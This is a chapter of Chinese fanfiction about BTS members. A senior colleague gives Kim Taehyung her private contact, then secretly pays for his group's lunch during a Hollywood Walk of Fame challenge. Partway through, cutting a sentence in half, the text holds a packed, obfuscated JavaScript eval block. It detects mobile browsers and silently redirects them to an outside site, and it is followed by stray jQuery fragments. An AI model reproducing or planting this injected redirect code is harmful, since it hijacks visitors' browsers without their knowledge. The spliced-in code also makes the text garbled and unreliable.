第三十二章：特别的联系方式
防弹少年团美国行出发前一日，下午
地点：星光娱乐中心，中型会议室
会议室的灯光将行程表照得清晰，防弹七人坐在长桌一侧，专注地听着经纪人和美国行负责人赵组长讲解为期两周的密集行程，日程表满得令人咋舌。
“这次任务和《新人王》不同，更侧重真实环境下的反应和跨文化适应，会有很多突发状况和互动挑战。”李室长强调，“公司提供了后勤支持。”
成员们认真记录，金南俊关注采访要点，闵玧其确认演出细节，郑号锡琢磨街头表演可能性，金泰亨表面听着，心思却早已飘向好莱坞的星光和未知的冒险，直到会议结束，大家起身离开，他才猛地想起什么，磨蹭着落在最后。
走廊里，他心跳如鼓地等待着。果然，那个熟悉的身影从隔壁办公室走出——是尤里。她今天穿着浅灰色开衫，长发松松挽起，少了几分工作中的凌厉，多了些许松弛。她正低头看着平板，眉头微蹙，似乎在思考什么。
“前辈！”金泰亨鼓起勇气叫住她。
尤里抬头，目光平静地落在他身上：“嗯？”
被那双灰蓝色的眼睛注视着，金泰亨瞬间卡壳。他手指蜷缩，眼神乱飘，脸颊以肉眼可见的速度泛起红晕，像个被老师突然点名回答不出问题的小学生。
尤里看着他这副手足无措、连耳朵尖都红透的模样，眼底深处掠过一丝极淡的、连她自己都未曾察觉的涟漪。金泰亨这是怎么了？她耐心地等了几秒，见他还是开不了口，便主动问：“有事吗泰亨xi？”
“就、就是……”金泰亨深吸一口气，语速快得像在背诵rap，“前辈我们明天要去美国了可能要去很久然后那个……我能不能……加您一个联系方式？不会打扰您的！真的！我发誓！”他急切地保证，眼睛瞪得圆圆的。
说完，他屏住呼吸，一眨不眨地看着尤里，仿佛在等待命运的宣判。
尤里沉默地看着他。走廊的光线柔和，将他浓密的睫毛在眼下投出小片阴影，紧张抿起的嘴唇，以及因为用力握着手机而泛白的指节，所有细节都透着一种笨拙的真诚。
几秒的静默，对金泰亨而言像一个世纪。
然后，尤里几不可闻地几不可查地几不可察地……呆滞了半秒。
加……联系方式？金泰亨？问她？
这个请求完全出乎她的意料。说实在尤里重生以来还没有和防弹众人有太多接触，而现在眼前这个年轻的偶像，用这种近乎莽撞又纯粹的方式要她的联系方式。
她的大脑罕见地空白了一瞬，一种陌生的、近乎荒谬的柔软情绪猝不及防地撞了进来。这……怎么能用这么直接又笨拙的方式，提出这么让人……无法拒绝的请求？何况对象还是金泰亨。
“手机。”她听到自己用一如既往的平稳声音说，但只有她自己知道，刚才那半秒的卡顿是真实存在的。
“啊？哦！哦哦！”金泰亨如梦初醒，手忙脚乱地解锁手机，因为太激动，手指滑了好几次才成功打开联系人添加界面，双手捧着递过去。
尤里接过，指尖在屏幕上快速点按。她习惯性地输入了自己的私人号码——用于处理真正私事和极少数亲密友人联系的号码。等她保存完毕，将手机递回去时，才猛然意识到：她忘了切换账号！这是她的私人号！
更糟糕的是，她的私人社交账号是默认对联系人可见动态的！而那个账号里……
“谢谢前辈！真的真的非常感谢！”金泰亨已经欣喜若狂地接过手机，看到联系人里多出的那个名字——“Yuri”，以及下面那一串数字。他根本没注意这是工作号还是私人号，只顾着傻笑和鞠躬，快乐得仿佛拥有了全世界。
尤里看着他灿烂的笑容，那句“等等，我换工作号给你”卡在喉咙里，怎么也说不出口。算了，私人号就私人号吧，反正……她平时也几乎不发什么。就算发，也都是些无关紧要的……吧？
“注意安全，好好工作。”她维持着表面的镇定，留下这句话，便转身离开，步伐比平时快了一丝丝，只有她自己知道那是心虚。
“内！前辈再见！”金泰亨的声音充满活力地从身后传来。
直到走进电梯，电梯门合上，尤里才轻轻呼出一口气，靠在了冰凉的轿厢壁上。她捏了捏眉心，心里第一次因为这种“社交疏忽”而产生了些许懊恼和……隐秘的尴尬。他……应该不会真的去看动态吧？她发的那些东西……
另一边，金泰亨像捧着圣物一样捧着手机，一路傻笑着飘回了休息区。等坐到沙发上，他才小心翼翼地再次点开那个新添加的联系人。
头像是一片深蓝色的星空，很符合前辈给人的感觉。然后，他的手指无意中点开了旁边的“动态”或“状态”按钮。
然后，他愣住了。
屏幕上显示的，并非他想象的一片空白或者寥寥几条官方转发。
最新的一条，发布于三天前，是《偶像明星运动会》男子4x100米接力决赛的直播截图，防弹四人撞线瞬间的模糊照片，配文只有一个简洁的拳头表情?。看截图角度，明显是手机对着电视屏幕拍的。
再往下翻：
一周前，分享了一首防弹收录曲的链接，没有文字，只有一个小小的音符符号。
十天前，一张星光娱乐食堂某窗口的特写，隐约可见窗口菜单上“今日特供：韩牛套餐”的字样被圈了出来，配文：“肉量+30%”。
半个月前，深夜时分，一张办公桌的照片，桌角放着一罐打开的能量饮料，背景是星光中心的夜景，配文：“凌晨三点，咖啡因告罄。（旁边画了个小小的哭泣脸）”
更早一些，有拍摄到的练习室走廊里，防弹的团队匆匆走过的背影（没有正脸）；有音像店里防弹专辑被摆在推荐位的照片；甚至还有一张……金泰亨在某个颁奖礼后台，因为太困而靠着墙打瞌睡的模糊侧影！配文：“充电模式。（一个闪电符号?）”
动态不多，但时间跨度不短，频率稳定。没有露骨的夸奖，没有粉丝式的激动言语，只有简洁的图片和符号，记录着与防弹、与星光、甚至与她自己工作生活相关的点滴。有些甚至……有点笨拙的可爱，比如那个哭泣脸，和拍糊的电视截图。
金泰亨的心脏，在最初的错愕之后，被一种巨大的、温暖的惊喜瞬间填满了。
原来……前辈一直有在关注他们，以一种安静的方式，看着他们的舞台，关心他们的伙食，知道他们练习到深夜，甚至……还拍下了他打瞌睡的样子！
“噗……” 他忍不住笑出声，赶紧捂住嘴，心虚地看了看周围。幸好其他成员都在热烈讨论行李，没人注意他。
他反复滑动着那寥寥数条动态，每看一遍，心里那种欢喜和亲近感就增加一分。原来他们之间的距离，并没有想象中那么遥远。原来那个看起来总是冷静自持的前辈，私底下也会做这些有点“可爱”的事情。
他觉得自己好像无意间打开了一个宝藏盒子，发现了关于前辈的、不为人知的另一面。这个认知让他脸颊发热，一种混合着惊喜、雀跃和被人在意着的温暖感觉，在心里悄悄蔓延。
他珍而重之地将“Yuri”的聊天框置顶，然后退出动态界面，他不敢点赞，不敢评论。
这个认知，让他对即将到来的美国行，除了原有的兴奋，又多了一层说不清道不明的动力和期待。他要做得更好，要让前辈看到的，都是他们最好的一面。
而此刻，独自在办公室的尤里，终于后知后觉地、有些懊恼地扶住了额头。
完了。
他……应该不会看动态吧？
那些照片和状态……他要是看到了……
人生中第一次，因为一个社交账号的动态权限，感到了一丝微妙的心慌和……难以言喻的尴尬。
心底某个角落，似乎又有一丝极淡的、连她自己都未曾仔细分辨的……释然和轻松。好像某个一直小心隐藏的侧面，无意间被一缕阳光照亮了，虽然有点慌乱。
美国行第一天下午，洛杉矶国际机场
巨大的波音777客机伴随着低沉的轰鸣，轮胎轻触洛杉矶国际机场的跑道，一阵轻微的震颤将机舱内的乘客从漫长的云端昏睡中唤醒。加州特有的、仿佛能灼穿舷窗的炽烈阳光迫不及待地涌进来，将机舱内部染成一片耀眼的金白色，与十多个小时前仁川清晨那朦胧灰蓝的天色形成强烈对比。
“到了！USA！” 田柾国几乎是整个人趴在舷窗上，鼻子在玻璃上压出一个小小的平面，眼睛瞪得圆溜溜，贪婪地扫视着窗外广阔无垠的停机坪、线条流畅的航站楼，以及远处地平线上那些在阳光下闪闪发光的低矮建筑群。他的声音里充满了抑制不住的雀跃，长途飞行的疲惫似乎在这一刻被肾上腺素的洪流冲刷殆尽。
“哇……天气真的完全不一样呢。” 朴智旻揉了揉惺忪的睡眼，软糯的嗓音还带着刚醒来的沙哑，他微微侧头，让阳光落在脸上，感受着那与韩国截然不同的、干燥而温暖的热度。
金南俊 已经摘下了颈枕，正有条不紊地将散落在座位上的平板电脑、书籍、耳机一一归位，放入随身的背包。他推了推有些下滑的眼镜，目光沉静地看向窗外，大脑已经开始处理这片新环境的视觉信息，并与出发前查阅的资料进行初步比对。
闵玧其不紧不慢地摘下一直戴着的降噪耳机，世界的声音重新涌入耳膜。他打了个小小的哈欠，眼角沁出一点生理性的泪水，那双半阖的眼睛里，也有一丝好奇光芒，在扫过窗外那过分明亮的景色时一闪而过。
郑号锡第一时间从背包侧袋里掏出一面小镜子，对着自己照了照，另一只手快速扒拉着被U型枕压得有些扁塌的头发。“啊，头发都塌了……” 他小声嘟囔着，试图用手指梳理出些许造型，对着镜子做了个招牌的、充满希望感的微笑，确认形象恢复。
金硕珍则伸展了一下因长时间保持坐姿而略显僵硬的身体，修长的手指轻轻捏了捏后颈，动作流畅得像是某种仪式。
金泰亨是最后一个完全脱离睡眠状态的。他迷迷糊糊地坐直身体，下意识地抬手揉了揉眼睛，浓密的睫毛在眼下投下一小片阴影。然后，几乎是本能地，他的手指探向胸口——那里，贴身内袋里，手机硬质的轮廓传来清晰的触感。这个触感像一枚小小的定心丸，瞬间驱散了时差带来的最后一丝恍惚。他偷偷地、用毯子做掩护，从内袋里勾出手机，指纹解锁，屏幕亮起的刹那，目光第一时间捕捉到那个已被他置顶的头像，他迅速按灭屏幕，将手机小心收回，仿佛那是什么需要珍藏的易碎品。嘴角，在他自己都未察觉的时候，已经悄悄地、不受控制地向上弯起一个微小的、却异常明亮的弧度。他深吸一口气，活动了一下有些发麻的腿脚，站起身，跟上已经陆续开始拿取随身行李的哥哥们。
通关、提取托运行李、登上早已等候在外的、贴着深色防窥膜的豪华商务车，一切流程在星光娱乐经验丰富的经纪团队运作下，高效、安静、有条不紊。尽管身体深处还残留着长途飞行的倦意，但初次踏上美国土地进行正式工作行程的新奇与兴奋，如同注入血管的活力剂，让每个成员的眼睛都亮了起来。
车窗外的景色飞速后退，从机场高速两旁略显单调的景观，逐渐过渡为典型的洛杉矶风貌、单向多达五六车道的马路，笔直挺立、枝叶舒展的棕榈树像卫兵般列队，色彩鲜艳明快、大多只有一两层高的独栋房屋散落在平缓的坡地上，所有的一切，都笼罩在加州那标志性的、近乎过曝的、带着金色颗粒感的明媚阳光之下。空气似乎都因为这份毫无保留的光照而变得干燥、透明、充满活力。
“孩子们，都醒醒神，听我说。” 车辆平稳行驶中，坐在前排的经纪人李室长转过身，手里拿着《Run BTS!》节目组标志性的粉色任务卡，表情是工作状态下的认真。
车内瞬间安静下来，七双眼睛齐刷刷地聚焦在那张小小的卡片上。
“虽然大家刚下飞机，肯定很累，但为了尽快倒时差，也为了不浪费宝贵的录制时间，我们落地后的第一个节目拍摄，马上开始。” 李室长的声音平稳有力，“现在，我们不去酒店，直接前往——好莱坞，星光大道。”
“啊——？”
“现在？”
“真的吗？”
“哇哦！”
车内顿时响起一片混合着真实疲惫的哀嚎、对紧凑行程的惊讶，以及掩藏不住的、对“好莱坞”这个名字本身所蕴含的梦幻色彩的兴奋低呼。
“任务内容如下，” 李室长无视或者说早已预料成员们的反应，开始宣读，“分组探索好莱坞星光大道，寻找节目组指定的三位明星手印，并合影认证。这是第一部分。” 他顿了顿，确保每个人都听清楚了，“第二部分，每组会获得一笔有限的‘探索资金’。你们需要利用这笔资金，在星光大道区域内，找到并购买一份你们认为‘最具洛杉矶特色’的小礼物，带回集合点。注意，资金非常有限，需要你们精打细算，合理规划。礼物不在于昂贵，而在于创意和是否具有代表性。最后，节目组会根据各组任务完成的时间、所购礼物的创意和代表性，以及资金使用的合理性，进行综合评分。”
车内响起一片吸气声和交头接耳的议论。有限资金、购买特色礼物，这听起来就像个需要动脑筋的小挑战。
“分组方式——抽签。” 李室长示意旁边的助理。助理拿着一个不透明的黑色绒布袋走上前，里面放着七张折叠好的小纸条。
“来吧，每人抽一张。” 助理将袋子递到每个成员面前。
气氛顿时变得有些紧张又期待。大家依次伸手进去，摸索，拿出，展开。
“我是A！”
“我也是A！”
“啊，我是C……”
“B，我是B。”
结果很快揭晓：
A组：金泰亨、朴智旻、郑号锡
B组：金南俊、田柾国
C组：金硕珍、闵玧其
“现在，分发‘探索资金’。” 节目组的工作人员适时上前，将三个薄薄的信封分别交给三个小组的临时负责人。
A组的信封被递到了金泰亨手里。他捏了捏，触感很薄。在队友和镜头的注视下，他打开信封，抽出里面的纸币——三张绿色的十美元钞票，静静地躺在掌心。
“三十美元？三个人？” 凑过来看的郑号锡眼睛瞬间瞪大，声音不自觉地提高了八度，“在这地方？听说一瓶水都要好几刀！我们还要吃午饭吧？还要买礼物？” 他的表情写满了“这怎么可能”。
朴智旻也凑近，看清金额后，小脸立刻皱成了包子，软软的嗓音里带着显而易见的忧愁：“啊……真的只有三十块吗？泰亨哥，号锡哥，我们怎么办呀？” 他下意识地摸了摸自己有些扁平的肚子。
金泰亨看着手里那三张轻飘飘的钞票，也感到了实实在在的压力。三十美元，在游客如织、物价高昂的星光大道，要满足三个年轻男性的基本午餐需求，还要挤出钱来买一份“有特色”的礼物，这简直是不可能完成的任务。他的眉头不自觉地微微蹙起，但与此同时，他的指尖，无意识地、隔着裤子布料，轻轻碰触了一下放着手机的口袋。带着点冒险意味的念头，悄悄冒了出来。
B组的信封在队长金南俊手中打开。里面是两张二十美元的钞票，共四十美元。
“四十美元，两个人。” 金南俊 推了推眼镜，语气是惯常的沉稳，“人均二十美元。我们需要在购买礼物的预算和解决午餐的预算之间取得平衡。柾国啊，我们得仔细规划，不能冲动消费。” 他看向忙内，目光里带着嘱托。
田柾国用力点头，表情严肃：“内！哥，我明白！” 然而，他的话音刚落，车子正好驶过一个路口，窗外一家招牌鲜艳、散发着诱人食物香气的快餐店一闪而过。田柾国的视线不由自主地被吸引过去，喉咙不明显地动了一下，刚才的“明白”在咕咕叫的肚子面前，显得有些底气不足。“……不过哥，要是看到特别有特色又……嗯，实惠的礼物，还有好吃的……” 他试图委婉地表达对食物的渴望。
“先集中精力完成任务吧。” 金南俊的语气温和重新将注意力投向窗外。
C组的信封则由金硕珍接过、打开，同样，两张二十美元，共四十美元。
“四十美元，两人份。” 金硕珍用指尖捻了捻那两张纸币，语气从容，“玧其啊，对于这个‘最具洛杉矶特色’的礼物，你有什么初步的构想吗？最好能体现一些……格调。” 他用了“格调”这个词，目光已经开始扫视车窗外闪过的那些店铺招牌，评估着哪些可能符合他的标准。
闵玧其侧过头，看着那些店铺：“嗯……礼物的话，有特色的但不要太没用的那种。” 他的要求简单直接。
车辆缓缓驶入好莱坞区域，最终在星光大道附近的一条相对安静的支路停下。车门滑开，加州的阳光和热浪，混杂着喧嚣的人声、汽车鸣笛、街头音乐，以及某种混合了沥青、香水、食物和淡淡灰尘的复杂气息，如同潮水般瞬间涌了进来。
“哇——”
七个人陆续下车，站定。眼前的景象极具冲击力：脚下是著名的、镶嵌着超过两千五百颗青铜五角星粉色水磨石人行道，星星一路延伸，望不到尽头，每一颗星上都刻着一位娱乐界名人的名字；街道两旁是鳞次栉比的纪念品商店、T恤店、蜡像馆、电影院，橱窗里色彩斑斓，招牌炫目；穿着电影角色服装蜘蛛侠、钢铁侠、卓别林……的街头艺人正热情地招揽游客合影；来自世界各地的游客摩肩接踵，各种语言交汇成一片嗡嗡的背景音；远处，山坡上那巨大的白色“HOLLYWOOD”标志在阳光下清晰可见。
这就是好莱坞。梦开始的地方，也是无数游客梦想打卡的圣地。
VJ老师迅速扛起机器，随身PD就位，录制正式开始。
“分组行动，现在开始！集合时间地点稍后发到你们手机上！注意安全！怀挺！” 李室长最后叮嘱一句，三个小组便各自散开，汇入了星光大道汹涌的人潮之中。
A组三人迅速进入状态。郑号锡作为组内的活力担当和事实上的行动指挥官，第一时间拿出节目组给的手印名单卡片——上面印着三位需要寻找的明星头像和名字：玛丽莲·梦露、迈克尔·杰克逊、以及一位以犀利幽默著称的当代著名脱口秀主持人。
“好！我们先找梦露和杰克逊的，这两个肯定是热门，人最多，但目标也大，先解决！” 郑号锡思路清晰，指着地图上大致的方向，“走这边！”
金泰亨和朴智旻立刻跟上。三人挤在人群中，一边小心避让行人，一边低头仔细搜寻着脚下的星星。玛丽莲·梦露的星星前人满为患，排队等着拍照的游客络绎不绝。
“人太多了……” 朴智旻有些着急。
“看我的！” 郑号锡灵机一动，发挥了他出色的社交能力和镜头感，用英语夹杂着手势，礼貌地请一位正在拍照的游客稍等一下，然后迅速示意金泰亨和朴智旻蹲下，他则拿着节目组提供的拍立得，以迅雷不及掩耳之势，“咔嚓”一声，完成了第一张认证合影。动作流畅，没耽误太久，还赢得了那位游客善意的微笑。
迈克尔·杰克逊的星星前情况类似。这次金泰亨主动上前，用他学过的、带着独特口音但足够清晰的英语，配合他生动的表情和手势，也顺利“借”到了一点拍照空间。三人轮流快速合影，任务前半段推进得出乎意料的顺利。
寻找第三位脱口秀主持人 Ellen 的星星时，位置稍微偏僻一些，人流少了不少。就在他们沿着街道仔细核对星星上的名字时，金泰亨的目光被一家名叫“Retro Galaxy”的玩具店橱窗牢牢吸引住了。
橱窗布置得如同一个小型的太空舱，里面陈列着各种稀奇古怪、充满美式复古未来主义风格的玩意儿：发条机器人、老式太空头盔模型、色彩夸张的火箭造型摆件……而在橱窗正中央，一个闪闪发光的物品抓住了他的眼球——那是一个金属制成的、约成年人手掌大小的立体“HOLLYWOOD”标志开瓶器。设计极其夸张，字母线条粗犷，边缘做旧处理，带着一种笨拙又幽默的工业感，在射灯照射下反射着冷硬的光芒。它不像普通的旅游纪念品，更像是一件带有强烈地域符号和戏谑意味的收藏品。
“看那个！” 金泰亨猛地停下脚步，拉住了走在前面的朴智旻和郑号锡，指着那个开瓶器，眼睛亮得惊人，“这个！这个当礼物怎么样？绝对、百分之百有洛杉矶特色！好莱坞标志本身！”
朴智旻和郑号锡被他激动的语气吸引，凑近橱窗。朴智旻仔细看了看，小巧的脸上也露出惊喜：“真的耶！这个好特别！比那些普通的钥匙扣、T恤有意思多了！”
郑号锡则更务实，他先是赞赏地点点头，随即目光扫向物品下方的价格标签：“创意是满分，但看看价格……希望不要太离谱。”
三人挤到店门口，视线聚焦在那个小小的白色标签上。黑色的印刷体数字清晰无比：$28.99不含税。
空气仿佛凝固了一秒。
“……” 一阵令人窒息的沉默。
他们手里只有三十美元。买了这个，就只剩下一美元零一美分，还需要额外支付消费税。别说三个人的午饭，连在自动贩卖机买一瓶最便宜的水都够呛。而任务要求是“购买礼物”，并没有说可以饿着肚子完成。
“怎么办？要不……我们再往前走看看？也许有更便宜、也还不错的选择？” 朴智旻犹豫地提议，声音越来越小。几乎同时，他的肚子发出一声响亮的、代表抗议的“咕噜”声。长途飞行后只吃了点飞机餐，又走了这么久，饥饿感真实而强烈。
郑号锡看着那闪闪发光的开瓶器，又低头看看手里那薄薄的三张十美元钞票，眉头紧锁，陷入了两难：“别的店也许有便宜的……但可能就像智旻说的，都是很普通的纪念品，没这个有特色，评分可能不高……或者，” 他咬了咬牙，提出一个艰难的建议，“我们三个中午就合买一瓶大号矿泉水，分着喝，忍一忍，到集合点可能就有吃的了？” 他说这话时，自己的肚子也不合时宜地叫了一声，让他尴尬地摸了摸鼻子。
金泰亨没有说话，他的手指，隔着裤子布料，无意识地、反复摩挲着放着手机的口袋。布料下，手机硬质的边缘仿佛在发烫。前辈的那条“路上注意安全”，如同走马灯般在他脑海里飞速旋转。现在……算“不时之需”吗？
他走到旁边稍微避开一点主镜头。尽管随身VJ仍然尽职地跟着，假装是在查看手机地图或者信息，快速解锁屏幕，指尖有些发颤地点开了那个置顶的、深蓝色星空头像的对话框。他打字，因为紧张，指尖有些冰凉：
金泰亨：前辈！在做好莱坞星光大道的任务！手印找到了两个，但是买礼物的钱不够了……T_T 看中了一个特别特别有特色的好莱坞标志开瓶器，可是买了它，我们三个人就没钱吃午饭了……正在想办法！怎么办啊前辈??
点击发送。心脏在胸腔里咚咚狂跳，既期待又害怕。这算不算“打扰”？会不会让前辈觉得他连这点小事都处理不好？但想到前辈发的“有事联系”，又像抓住了一根救命稻草。
消息状态几乎瞬间变成了“已读”。
金泰亨屏住呼吸。
下一秒，回复弹出，速度快得让他差点没拿稳手机：
Yuri：地址发我。
简洁，直接，没有任何多余的询问或安慰。
金泰亨愣了一下，随即心脏像是被什么东西轻轻撞了一下，一股混合着惊讶和巨大安心的暖流汹涌而上。前辈这是要……他不敢细想，手指却已经本能地快速操作，通过聊天软件共享了自己精确的实时位置。
位置发送成功的瞬间，新的消息跳了出来：
Yuri：礼物先买。午餐会送到。
金泰亨看着这短短的字，心里那块自从看到价格标签就一直悬着的、沉甸甸的石头，“咚”地一声落了地，巨大的惊喜和暖意之后，紧接着涌上来的，是一点点做“坏事”般的、以及一丝难以言喻的、被如此细致周到地保护着的悸动。
他用力闭了闭眼，深吸一口洛杉矶干燥温暖的空气，再睁开时，眼底的犹豫和焦虑已经散去了大半，取而代之的是一种下定决心的明亮。他走回还在橱窗前对着开瓶器和空钱包发愁的智旻和号锡身边，努力让自己的表情和声音听起来自然、平静，甚至带着点恰到好处的“小确幸”：
“哥，智旻啊，我刚刚……用手机联系了一下我在LA的一个朋友，” 他语速适中，避免显得太急切，“他说他正好在附近办事，可以帮我们点个外卖午餐送过来。”
“莫？朋友？” 郑号锡猛地转过头，惊讶地上下打量金泰亨，满脸写着“你什么时候在LA有能点外卖的朋友了？还这么巧？”，“真的假的？泰亨啊，你别是饿出幻觉了吧？”
朴智旻也睁大了圆圆的眼睛，里面充满了不可思议和一点点希望：“泰亨？你在美国有朋友？还、还能给我们送午餐？那……那午餐……”
“嗯，他说马上就用APP点，大概二三十分钟就能送到我们附近。” 金泰亨含糊地应道，巧妙地避开了关于“朋友”身份的具体信息，将重点放在结果上，“所以，我们可以先把这个开瓶器买了！把礼物任务搞定！午餐等会儿就到！”
有了“午餐有着落”这根突如其来的救命稻草，郑号锡和朴智旻的顾虑和愁容瞬间一扫而空。
“真的吗？哇！泰亨你太棒了！” 郑号锡高兴地一拍手，差点跳起来，活力瞬间满格，“那还等什么！就买这个！这个开瓶器当礼物，我们肯定能拿高分！”
朴智旻也松了一口气，小脸上绽放出如释重负的甜美笑容，肚子似乎也不那么咕咕叫了：“嗯！谢谢泰亨！也谢谢你朋友！那我们快买吧！”
三人不再犹豫，转身走进“Retro Galaxy”。店内充斥着各种复古玩具和电子产品的嗡鸣声。金泰亨走到柜台前，拿出那三张十美元任务资金，又掏了掏自己的口袋，凑够了需要额外支付的消费税，买下了那个沉甸甸、亮闪闪的好莱坞开瓶器。店员是个扎着脏辫、看起来很酷的年轻人，仔细地将开瓶器用印有店铺Logo的黑色硬纸袋装好，还附送了一张小小的复古电影明星贴纸。
拿着宝贵的礼物走出店门，三人都长长地舒了口气，但饥饿感也因为解决了心头大事而变得愈发清晰。他们站在店门口的阴凉处，一边警惕地注意着过往行人，以防错过外卖员，一边继续用目光搜寻Ellen DeGeneres的星星。
大约十五分钟后，一个穿着某知名外卖平台鲜明制服、踩着电动滑板车的骑手，在人群中灵活地穿梭而来，最后精准地停在了四处张望的三人面前。
“Excuse me, Kim Taehyung？” 骑手核对着手持终端上的名字和照片。
“Yes, that''s me.” 金泰亨赶紧上前一步，心跳微微加速。
骑手从保温箱里拿出三个看起来就质感很好的厚实牛皮纸餐袋，上面印着附近一家颇有名气的健康轻食店“Green Leaf & Co.”的Logo。“Order for you, paid online. Have a nice day!” 骑手将餐袋递给他，确认送达后，便利落地踩上滑板车，汇入人流。
朴智旻和郑号锡早已迫不及待地凑了上来。接过餐袋，手感沉甸甸的。打开一看，里面搭配得堪称完美：一个用料扎实的全麦鸡肉牛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292604|198523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
油果三明治，一份新鲜的混合蔬菜沙拉，一根能量棒，还有一瓶100%的鲜榨橙汁。营养、健康、分量十足，完全考虑到了他们可能需要补充能量和维生素的需求。每个餐袋里还附了一张简单的白色卡片，上面用优雅的印刷体英文写着：给金泰亨和他的朋友。
“哇！泰亨啊！你这是什么神仙朋友！” 郑号锡拿起还带着余温的三明治，咬了一大口，瞬间被丰富的口感和恰到好处的调味征服，感动得几乎要热泪盈眶，“也太好吃了吧！还是热的！而且搭配得这么好！你朋友是营养师吗？”
朴智旻也小口而幸福地吃着沙拉，眼睛满足地眯成了月牙：“嗯！沙拉好新鲜，酱汁味道也棒！果汁好甜！泰亨也拜托一定要谢谢你的朋友！”
金泰亨拿起自己的那份，看着那张卡片，心跳漏了一拍。他压下翻腾的思绪，对两位队友露出一个有些不好意思、但无比开心的笑容：“嗯，他……人挺好的，以前认识，没想到正好在LA。” 他继续用模糊的说法带过。
食物带来的满足感和能量是立竿见影的。解决了午餐问题，三人精力充沛，很快就在一条支路的转角处找到了Ellen DeGeneres的星星，完成了最后一张合影认证。
“A组，任务完成！” 郑号锡对着镜头举起装开瓶器的纸袋和拍立得照片，笑得一脸灿烂。
B组的策略与A组截然不同。金南俊 在任务开始后，没有立刻冲向最近的手印，而是拉着田柾国找了个相对人少的角落，展开节目组给的地图，用笔在上面勾画起来。
“柾国你看，” 金南俊 推了推眼镜，指尖在地图上移动，语气是分析问题时的专注，“这三个手印的位置，大致呈一个不太规则的三角形。如果我们盲目地沿着主街一个一个找，可能会走很多回头路，浪费时间和体力。” 他用笔将三个点连起来，又在中间画了一条线，“我认为最优路线是：我们先从集合点出发，沿这个方向，然后折返到这个路口，最后再去那里。这样总路径最短。”
田柾国一开始还能勉强跟上哥哥的思路，盯着地图点头，但眼神已经有些发直。当金南俊 开始计算时，田柾国的注意力彻底被路边一个散发着浓郁黄油和肉桂香气、排着长队的甜品摊吸引了。他的鼻子不自觉地抽动了两下，肚子非常配合地发出一声响亮的“咕——”。
“……所以，理想状态下，我们可以在四十五分钟内完成手印寻找部分，然后预留出至少三十到四十分钟用于寻找礼物和解决午餐，预算方面……” 金南俊 抬起头，发现忙内的目光早已飘向远方，眼神发直，喉结微动，显然一个字也没听进去。他无奈地叹了口气，用地图卷轻轻敲了敲田柾国的脑袋：“柾国啊，集中精神。先完成任务。”
“内！哥，我明白！” 田柾国立刻回过神，挺直腰板，表情重新变得严肃，但那不时瞟向食物摊位的眼神出卖了他。
两人按照金南俊 规划的“最优路线”开始行动。寻找手印的过程还算顺利，确实人少，快速合影。但在前往最后一个手印的路上，为了“最短路径”，他们需要穿过一条相对狭窄、游客较少的巷子。就在巷子口，田柾国被一个卖各种奇趣太阳镜的小摊吸引住了。摊位上挂满了造型夸张的太阳镜：猫眼形、心形、镶满水钻的、镜腿会发光的……其中一副吸引了他的注意——镜片是渐变色，镜腿末端各挂着一个小小的、立体的金属“HOLLYWOOD”字母。趣味十足。
“哥！你看这个！” 田柾国拿起那副太阳镜，自己试戴了一下，对着摊主提供的小镜子照了照，效果滑稽又有点酷，“这个当礼物怎么样？很有洛杉矶的感觉！还是太阳镜，实用！” 他看向金南俊，眼神充满期待。
金南俊 走过去，拿起太阳镜看了看，做工尚可，设计确实有特色。他问了下价格：“How much?”
“Fifteen dollars.” 摊主是个墨西哥裔大妈，爽快地报价。
十五美元。金南俊 心里快速计算：礼物十五美元，还剩二十五美元。两人午餐，在星光大道这种地方，最便宜的快餐套餐大概也要十美元左右一人，二十五美元刚好够两个基础套餐，可能连饮料都要共享。礼物是有了，但午餐会非常拮据，而且这太阳镜的“纪念品”属性，似乎不如一些更典型的物品。
“柾国啊，这个太阳镜……创意不错，但作为‘代表洛杉矶’的礼物，会不会有点……不够经典？” 金南俊 试图委婉地表达自己的看法，同时目光扫过旁边一家卖洛杉矶主题马克杯和冰箱贴的商店，那些似乎更“安全”。
“可是哥，这个好玩啊！而且我们戴起来拍照，节目效果肯定好！” 田柾国坚持，他已经开始想象成员们轮流戴这副搞笑太阳镜的样子了。更重要的是，他实在不想再逛了，饥饿感正在侵蚀他的耐心。
看着忙内亮晶晶的、带着渴求的眼睛，又考虑到剩下的预算和越来越强烈的饥饿感，金南俊 妥协了。理性计算告诉他，再寻找更“合适”的礼物可能会花费更多时间和体力，得不偿失。“好吧，那就这个。剩下的钱我们得仔细规划午餐了。”
买下太阳镜，小心收好。两人继续按照计划寻找剩下的手印。时差、饥饿、加上阳光的炙烤，效率明显开始下降。在梦露的星星前排队时，田柾国几乎要靠着金南俊睡着了。完成所有手印合影后，两人都感到一阵虚脱般的饥饿。
“哥，吃饭吧，我真的要不行了……” 田柾国有气无力地说，目光锁定在街角一家招牌醒目、飘出炸薯条和烤肉香气的“经典美式汉堡店”。
金南俊 看着那家店，又看了看手里剩下的二十五美元，叹了口气。他知道，此刻一顿扎实的、高热量的快餐，比什么都更能恢复体力。“走吧，就这家。我们点最基础的汉堡套餐，饮料……点一杯大的分享吧。”
最终，两人用剩下的二十五美元，买了两个最单层牛肉汉堡套餐，外加一杯共享的大可乐，坐在店外的红色塑料高脚凳上，狼吞虎咽地解决了午餐。汉堡味道不错，薯条炸得金黄酥脆，可乐的糖分迅速补充了能量。虽然午餐简单，但胃里有了食物，两人都重新打起了精神。
“计划虽然出现了变量，但总体目标达成。” 金南俊 吃完最后一口汉堡，总结道，带着一种理性的满足感，“随机应变也是生存能力的一部分，对吧柾国？”
“内！哥！而且汉堡好吃！” 田柾国满足地喝了一大口可乐，打了个小小的嗝，脸上重新露出笑容。他们是第二组到达集合点的。
C组的行动画风，与A组的“高效救援”和B组的“规划博弈”完全不同，堪称一股清流。
两人都不急不躁，下了车就像来散步的游客。金硕珍对脚下那些星星本身兴趣一般，更多时候是在观察街道两旁的建筑风格、行人的穿着打扮、街头艺人的表演。
